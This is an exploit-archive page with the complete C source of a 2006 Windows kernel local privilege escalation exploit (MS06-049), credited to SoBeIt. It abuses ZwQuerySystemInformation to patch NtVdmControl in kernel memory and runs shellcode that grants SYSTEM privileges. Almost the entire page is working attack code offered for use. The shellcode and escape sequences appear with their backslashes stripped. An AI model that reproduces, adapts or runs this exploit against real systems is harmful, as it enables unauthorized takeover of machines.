[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : MS Windows (Windows Kernel) Privilege Escalation Exploit (MS06-049)
# Published : 2006-09-21
# Author : SoBeIt
# Previous Title : Mac OS X <= 10.4.7 Mach Exception Handling Local Root Exploit
# Next Title : X11R6 <= 6.4 XKEYBOARD Local Buffer Overflow Exploit (solaris/sparc)


/*
    MS06-049 Windows ZwQuerySystemInformation Local Privilege Escalation Vulnerability Exploit
            Created by SoBeIt

    Main file of exploit

    Tested on:

    Windows 2000 PRO SP4 Chinese
    Windows 2000 PRO SP4 Rollup 1 Chinese
    Windows 2000 PRO SP4 English
    Windows 2000 PRO SP4 Rollup 1 English

    Usage:ms06-049.exe
*/

#include <windows.h>
#include <stdio.h>

#define NTSTATUS    int
#define ProcessBasicInformation    0
#define SystemModuleInformation 11
    
typedef NTSTATUS (NTAPI *ZWVDMCONTROL)(ULONG, PVOID);
typedef NTSTATUS (NTAPI *ZWQUERYINFORMATIONPROCESS)(HANDLE, ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS (NTAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);

ZWVDMCONTROL    ZwVdmControl;
ZWQUERYINFORMATIONPROCESS    ZwQueryInformationProcess;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;

typedef struct _PROCESS_BASIC_INFORMATION {
      NTSTATUS ExitStatus;
      PVOID PebBaseAddress;
      ULONG AffinityMask;
      ULONG BasePriority;
      ULONG UniqueProcessId;
      ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;

typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG Reserved[2];
    PVOID Base;
    ULONG Size;
    ULONG Flags;
    USHORT Index;
    USHORT Unknow;
    USHORT LoadCount;
    USHORT ModuleNameOffset;
    char ImageName[256];    
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

unsigned char kfunctions[64][64] = 
{
                            //ntoskrnl.exe
    {"ZwTerminateProcess"},
    {""},
};

unsigned char shellcode[] = 
        "x90x60x9cxe9xd1x00x00x00x5fx4fx47x33xc0x66x81x3f"
        "x90xccx75xf6x40x40x66x81x3cx07xccx90x75xecx83xc7"
        "x04xbex38xf0xdfxffx8bx36xadxadx48x81x38x4dx5ax90"
        "x00x75xf7x95x8bxf7x6ax01x59xe8x56x00x00x00xe2xf9"
        "xbbx24xf1xdfxffx8bx1bx8bx43x44xb9x08x00x00x00xe8"
        "x2cx00x00x00x8bxd0x8bx4ex04xe8x22x00x00x00x8bx8a"
        "x2cx01x00x00x89x88x2cx01x00x00x56x8bx7ex0cx8bx4e"
        "x10x8bx76x08xf3xa4x5ex33xc0x50x50xffx16x9dx61xc3"
        "x8bx80xa0x00x00x00x2dxa0x00x00x00x39x88x9cx00x00"
        "x00x75xedxc3x51x56x8bx75x3cx8bx74x2ex78x03xf5x56"
        "x8bx76x20x03xf5x33xc9x49x41xadx03xc5x33xdbx0fxbe"
        "x10x85xd2x74x08xc1xcbx07x03xdax40xebxf1x3bx1fx75"
        "xe7x5ex8bx5ex24x03xddx66x8bx0cx4bx8bx5ex1cx03xdd"
        "x8bx04x8bx03xc5xabx5ex59xc3xe8x2axffxffxffx90x90"

        "x90xccxccx90x90x90x90x90x90x90x90x90x90x90x90x90"
        "x90x90x90x90x90x90x90x90x90x90x90x90xccx90x90xcc";

void ErrorQuit(char *msg)
{
    printf("%s:%xn", msg, GetLastError());
    ExitProcess(0);
}

ULONG ComputeHash(char *ch)
{
    ULONG ret = 0;

    while(*ch)
    {
        ret = ((ret << 25) | (ret >> 7)) + *ch++;
    }

    return ret;
}

ULONG RVA2Offset(ULONG RVA, PIMAGE_SECTION_HEADER pSectionHeader, ULONG Sections)
{    
    ULONG i;
    
    if(RVA < pSectionHeader[0].PointerToRawData)
        return RVA;

    for(i = 0; i < Sections; i++)
    {   
        if(RVA >= pSectionHeader[i].VirtualAddress &&
           RVA < pSectionHeader[i].VirtualAddress + pSectionHeader[i].SizeOfRawData)           
           return (RVA - pSectionHeader[i].VirtualAddress + pSectionHeader[i].PointerToRawData);
    }
    
    return 0;
}

ULONG Offset2RVA(ULONG Offset, PIMAGE_SECTION_HEADER pSectionHeader, ULONG Sections)
{   
    ULONG i;
    
    if(Offset < pSectionHeader[0].PointerToRawData)
        return Offset;
    
    for(i = 0; i < Sections; i++)
    {
        if(Offset >= pSectionHeader[i].PointerToRawData &&
           Offset < pSectionHeader[i].PointerToRawData + pSectionHeader[i].SizeOfRawData)
           return (Offset - pSectionHeader[i].PointerToRawData + pSectionHeader[i].VirtualAddress);
    }
    
    return 0;
}

void GetFunction()
{
    HANDLE    hNtdll;
    
    hNtdll = LoadLibrary("ntdll.dll");
    if(hNtdll == NULL)
        ErrorQuit("LoadLibrary failed.n");
        
    ZwVdmControl = (ZWVDMCONTROL)GetProcAddress(hNtdll, "ZwVdmControl");
    if(ZwVdmControl == NULL)
        ErrorQuit("GetProcAddress failed.n");
        
    ZwQueryInformationProcess = (ZWQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "ZwQueryInformationProcess");
    if(ZwQueryInformationProcess == NULL)
        ErrorQuit("GetProcAddress failed.n");
        
    ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
    if(ZwQuerySystemInformation == NULL)
        ErrorQuit("GetProcessAddress failed.n");
        
    FreeLibrary(hNtdll);
}

ULONG GetKernelBase()
{
    ULONG    i, Byte, ModuleCount;
    PVOID    pBuffer;
    PSYSTEM_MODULE_INFORMATION    pSystemModuleInformation;
    PCHAR    pName;
    
    ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
        
    if((pBuffer = malloc(Byte)) == NULL)
        ErrorQuit("malloc failed.n");
        
    if(ZwQuerySystemInformation(SystemModuleInformation, pBuffer, Byte, &Byte))
        ErrorQuit("ZwQuerySystemInformation failedn");
    
    ModuleCount = *(PULONG)pBuffer;
    pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)pBuffer + sizeof(ULONG));
    for(i = 0; i < ModuleCount; i++)
    {
        if((pName = strstr(pSystemModuleInformation->ImageName, "ntoskrnl.exe")) != NULL)
        {
            free(pBuffer);    
            return (ULONG)pSystemModuleInformation->Base;
        }
        
        pSystemModuleInformation++;
    }
        
    free(pBuffer);
    return 0;
}

int main(int argc, char *argv[])
{
    PULONG    pStoreBuffer, pNamesArray, pFunctionsArray, pShellcode, pRestoreBuffer;
    PUCHAR    pBase;
    PCHAR        pName;
    PUSHORT        pOrdinals;
    PIMAGE_NT_HEADERS    pHeader;
    PIMAGE_EXPORT_DIRECTORY    pExport;
    PIMAGE_SECTION_HEADER pSectionHeader;
    PROCESS_BASIC_INFORMATION pbi;
    SYSTEM_MODULE_INFORMATION    smi;
    char        DriverName[256];
    ULONG        Byte, FileSize, len, i, j, k, Count, BaseAddress, Value, KernelBase, buf[64], HookAddress, Temp, Sections;
    USHORT    index;
    HANDLE    hDevice, hFile, hFileMap;

    printf("n MS06-049 Windows ZwQuerySystemInformation Local Privilege Escalation Vulnerability Exploit nn");
    printf("t Create by SoBeIt. nn");
    if(argc != 1)
    {
        printf(" Usage:%s nn", argv[0]);
        return 1;
    }

    GetFunction();

    if(ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL))
        ErrorQuit("ZwQueryInformationProcess failedn");
    
    KernelBase = GetKernelBase();
    if(!KernelBase)
        ErrorQuit("Unable to get kernel base address.n");
        
    printf("Kernel base address: %xn", KernelBase);

    pRestoreBuffer = malloc(0x100);
    if(pRestoreBuffer == NULL)
        ErrorQuit("malloc failed.n");
    
    pStoreBuffer = VirtualAlloc(NULL, 0x1001000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if(pStoreBuffer == NULL)
        ErrorQuit("VirtualAlloc failed.n");
        
    printf("Allocated address:%xn", pStoreBuffer);
    
    if(!GetSystemDirectory((PUCHAR)pStoreBuffer, 256))
        ErrorQuit("GetSystemDirectory failed.n");

    strcat((PUCHAR)pStoreBuffer, "\ntoskrnl.exe");
    hFile = CreateFile((PUCHAR)pStoreBuffer, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if(hFile == INVALID_HANDLE_VALUE)
    {
        hFile = CreateFile("ntoskrnl.exe", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        if(hFile == INVALID_HANDLE_VALUE)
            ErrorQuit("CreateFile failed.n");
    }

    if((FileSize = GetFileSize(hFile, NULL)) == 0xffffffff)
        ErrorQuit("GetFileSize failed.n");

    printf("File size:%xn", FileSize);
    pBase = (PUCHAR)VirtualAlloc(NULL, FileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if(pBase == NULL)
        ErrorQuit("VirtualAlloc failed.n");
        
    if(!ReadFile(hFile, pBase, FileSize, &Byte, NULL))
        ErrorQuit("ReadFile failed.n");

    pHeader = (PIMAGE_NT_HEADERS)(pBase + ((PIMAGE_DOS_HEADER)pBase)->e_lfanew);
    pSectionHeader = (PIMAGE_SECTION_HEADER)((PUCHAR)(&pHeader->OptionalHeader) + pHeader->FileHeader.SizeOfOptionalHeader);
    Sections= pHeader->FileHeader.NumberOfSections;

    pExport = (PIMAGE_EXPORT_DIRECTORY)(pBase + 
        RVA2Offset(pHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress,
        pSectionHeader,
        Sections
        ));

    pNamesArray = (PULONG)(pBase + 
                    RVA2Offset(pExport->AddressOfNames,
                        pSectionHeader,
                        Sections));
                        
    pFunctionsArray = (PULONG)(pBase +                        
                    RVA2Offset(pExport->AddressOfFunctions,
                        pSectionHeader,
                        Sections));
                        
    pOrdinals = (PUSHORT)(pBase + 
                    RVA2Offset(pExport->AddressOfNameOrdinals,
                        pSectionHeader,
                        Sections));
                        
    len = strlen("NtVdmControl");
    for(i = 0; i < pExport->NumberOfNames; i++)
    {
        pName = pBase + RVA2Offset(pNamesArray[i], pSectionHeader, Sections);
        if(!strncmp(pName, "NtVdmControl", len))
            break;
    }

    if(i > pExport->NumberOfFunctions)
        ErrorQuit("Some error occured.n");

    index = pOrdinals[i]; 
    HookAddress = pFunctionsArray[index] + KernelBase;
    memcpy((PUCHAR)pRestoreBuffer, pBase + pFunctionsArray[index] - 1, 0x10);
    printf("%s Address:%xn", "NtVdmControl", HookAddress);
    
    pShellcode = (PULONG)shellcode;
    for(k = 0; pShellcode[k++] != 0x90cccc90; )
                ;

    for(j = 0; kfunctions[j][0] != 'x0'; j++)
        buf[j] = ComputeHash(kfunctions[j]);

    buf[j++] = pbi.InheritedFromUniqueProcessId;
    buf[j++] = (ULONG)pRestoreBuffer;
    buf[j++] = HookAddress - 1;
    buf[j++] = 0x10;    

    memcpy((char *)(pShellcode + k), (char *)buf, j * 4);
    
    Temp = 0;
    for(i = 0; i < 7; i++)
    {
        ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
        Byte = Byte / sizeof(SYSTEM_MODULE_INFORMATION);
        Temp += Byte;
    }
    
    Byte = Temp / 7;
    printf("Single value:%xn", Byte);
    Value = (0xe9 << 8) & 0xff00;
    printf("Jump value:%xn", Value);
    printf("Base value:%xn", pRestoreBuffer[0]);
    for(Count = 0; ; Count++)
    {
        if(((pRestoreBuffer[0] + Count * Byte) & 0xff00) == Value)
            break;    
    }
    
    printf("Need value generated:%xn", pRestoreBuffer[0] + Count * Byte);
    printf("Count value:%xn", Count);
    for(i = 0; i < Count; i ++)
        ZwQuerySystemInformation(SystemModuleInformation, (PVOID)(HookAddress - 1), 0, &Byte);

    Temp = 0;
    for(i = 0; i < 7; i++)
    {
        ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
        Byte = Byte / sizeof(SYSTEM_MODULE_INFORMATION);
        Temp += Byte;
    }
    
    Byte = Temp / 7;
    printf("Single value:%xn", Byte);
    Value = (((ULONG)pStoreBuffer + 0x800000 - HookAddress) >> 16) & 0xfff0;
    printf("Jump value:%xn", Value);
    printf("Base value:%xn", pRestoreBuffer[1]);
    for(Count = 0; ; Count++)
    {
        if(((pRestoreBuffer[1] + Count * Byte) & 0xfff0) == Value)
            break;
    }

    printf("Need value generated:%xn", pRestoreBuffer[1] + Count * Byte);
    printf("Count value:%xn", Count);
    for(i = 0; i < Count; i ++)
        ZwQuerySystemInformation(SystemModuleInformation, (PVOID)(HookAddress + 3), 0, &Byte);

    memset(pStoreBuffer, 0x90, 0x1001000);
    memcpy((PUCHAR)pStoreBuffer + 0x1000000, shellcode, sizeof(shellcode));
        
    CloseHandle(hFile);

    printf("Exploitation finished.n");
    ZwVdmControl(0, NULL);
    
    return 1;
}

// www.Syue.com [2006-09-21]